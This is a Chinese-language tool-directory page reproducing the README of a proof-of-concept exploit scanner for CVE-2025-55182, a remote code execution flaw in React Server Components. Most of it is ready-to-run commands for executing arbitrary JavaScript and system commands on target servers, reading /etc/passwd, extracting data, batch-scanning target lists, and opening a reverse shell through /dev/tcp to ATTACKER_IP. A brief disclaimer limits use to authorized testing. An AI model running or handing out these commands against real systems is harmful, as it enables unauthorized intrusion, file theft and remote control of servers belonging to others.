Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
React2Shell-CVE-2025-55182 — 概念验证 React2Shell-CVE-2025-55182 | Kitploit
工具/GitHubGitHub/shadowroot97/react2shell-cve-2025-55182
漏洞扫描器漏洞利用Web应用程序漏洞利用渗透测试远程访问工具Payload 开发
GitHubshadowroot97/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

概念验证 React2Shell-CVE-2025-55182

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
8个月前尚未审核

CVE-2025-55182 - React2Shell

root@kitploit:~
    ____  _____    _    ____ _____ ____  ____  _   _ _____ _     _
   |  _ \| ____|  / \  / ___|_   _|___ \/ ___|| | | | ____| |   | |
   | |_) |  _|   / _ \| |     | |   __) \___ \| |_| |  _| | |   | |
   |  _ <| |___ / ___ \ |___  | |  / __/ ___) |  _  | |___| |___| |___
   |_| \_\_____/_/   \_\____| |_| |_____|____/|_| |_|_____|_____|_____|
                                                    [ CVE-2025-55182 ]

针对 React Server Components (RSC) 的远程代码执行扫描器

CVE Python


致谢

角色名称链接
原始研究Lachlan Davidsongithub.com/lachlan2k

基于原始 PoC:React2Shell-CVE-2025-55182-original-poc


概述

React2Shell 是一款针对 CVE-2025-55182 的综合性安全扫描器。CVE-2025-55182 是一个影响 React Server Components (RSC) 实现的严重远程代码执行 (RCE) 漏洞。该漏洞允许未认证的攻击者通过 React Flight 协议中的不安全反序列化,在服务器上执行任意 JavaScript 代码。

主要特性

  • 多变体测试:测试原始研究中的 4 种不同载荷结构
  • 版本检测:识别存在漏洞的 React 和框架版本
  • RCE 验证:通过摘要变化、时间延迟和 OOB 回调确认代码执行
  • OOB 测试:支持 Burp Collaborator 和 Interactsh
  • 自定义载荷:在存在漏洞的服务器上执行任意 JavaScript
  • 数据提取:逐字符数据外带
  • 专业输出:清晰、彩色终端输出,并支持证据收集

安装

root@kitploit:~
# Clone the repository
git clone https://github.com/Shadowroot97/POC-React2Shell-CVE-2025-55182.git
cd POC-React2Shell-CVE-2025-55182

# Install dependencies
pip install requests

# Run the scanner
python3 exploit_cve_2025_55182_v2.py -h

使用方法

root@kitploit:~
usage: exploit_cve_2025_55182_v2.py [-h] [-t TARGET] [-f FILE] [-m {version,verify,custom}]
                                    [--js JS] [--extract] [--sleep SECONDS]
                                    [--callback URL] [--dns DOMAIN] [-v]
                                    [--no-color] [--timeout TIMEOUT]

扫描模式

1. 版本模式(默认)

被动检测存在漏洞的 React 和框架版本:

root@kitploit:~
python3 exploit_cve_2025_55182_v2.py -t https://target.com

2. 验证模式(-m verify)

使用多种技术和全部 4 种载荷变体主动确认 RCE:

root@kitploit:~
# Basic verification (digest variation)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify

# With time-based verification
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --sleep 5

# With OOB callback (Burp Collaborator)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --callback abc123.oastify.com

# Full verification with verbose output
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
    --sleep 5 --callback abc123.oastify.com --dns abc123.oastify.com -v

3. 自定义模式(-m custom)

执行任意 JavaScript 载荷:

root@kitploit:~
# Get Node.js version
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
    --js "process.version" --extract

# Execute system command
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
    --js "require('child_process').execSync('id').toString()" --extract

# Read file
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
    --js "require('fs').readFileSync('/etc/passwd','utf8')" --extract

4. 批量扫描(-f)

从文件扫描多个 URL,仅显示存在漏洞的目标:

root@kitploit:~
python3 exploit_cve_2025_55182_v2.py -f targets.txt

示例

基本扫描

root@kitploit:~
# Version detection (default mode)
python3 exploit_cve_2025_55182_v2.py -t https://target.com

# RCE verification
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify

# Batch scan multiple targets
python3 exploit_cve_2025_55182_v2.py -f targets.txt

# Verbose output
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify -v

高级用法

root@kitploit:~
# Time-based + OOB verification
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
    --sleep 5 --callback your-id.oastify.com

# Extract server info
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
    --js "process.version" --extract

# Execute command
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
    --js "require('child_process').execSync('whoami').toString()" --extract

反弹 Shell

root@kitploit:~
# Start listener
nc -lvnp 443

# Execute reverse shell
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
    --js "process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1\"')"

免责声明

本工具仅用于授权的安全测试和教育目的。

  • 仅对您拥有或已获得明确测试许可的系统使用
  • 未经授权访问计算机系统属于违法行为
  • 作者不对本工具的滥用行为负责
  • 始终遵循负责任披露准则

参考资料

  • CVE-2025-55182 - NVD
  • Lachlan Davidson 的原始 PoC
  • React 安全公告
  • Next.js 安全公告
  • React Server Components 文档
下载工具
参数说明
-t, --target目标 URL(例如:https://example.com)
-f, --file包含 URL 列表的文件(每行一个),用于批量扫描
-m, --mode扫描模式:version(默认)、verify 或 custom
--js自定义模式使用的 JavaScript 代码
--extract逐字符提取字符串结果
--sleep SECONDS基于时间的 RCE 验证(verify 模式)
--callback URL用于 OOB 测试的 HTTP 回调 URL(verify 模式)
--dns DOMAIN用于 OOB 测试的 DNS 回调域名(verify 模式)
-v, --verbose详细输出,包含载荷详情
--no-color禁用彩色输出
--timeout SECONDSHTTP 请求超时时间(默认:30)